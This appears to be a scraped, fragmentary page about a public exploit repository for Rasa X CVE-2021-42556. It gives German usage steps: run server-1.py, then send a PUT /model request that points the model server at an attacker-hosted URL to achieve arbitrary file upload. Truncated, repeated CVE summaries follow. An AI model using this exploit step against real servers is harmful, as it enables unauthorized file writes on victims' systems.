Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py Einfach direkt ausführen root@kitploit: python server-1.py Beliebiger Datei-Upload root@kitploit: PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 Effekt wie folgt: CVE-2021-41127 server-1.py Standard-Modellname:...

CVE-2021-42556

Rasa X before 0.42.4 allows Directory Traversal during archive extraction. In the functionality that allows a user to load a trained model archive, an attacker has arbitrary write capability within specific directories via a crafted archive file...

CVE-2021-42556

Rasa X before 0.42.4 allows Directory Traversal during archive extraction. In the functionality that allows a user to load a trained model archive, an attacker has arbitrary write capability within specific directories via a crafted archive file...

CVE-2021-42556

CVE-2021-42556 affects Rasa X (before 0.42.4). The issue is a directory traversal during the extraction of a trained model archive, enabling an attacker to gain arbitrary write access within specific directories by crafting the archive file. This is documented across multiple sources (NVD entry a...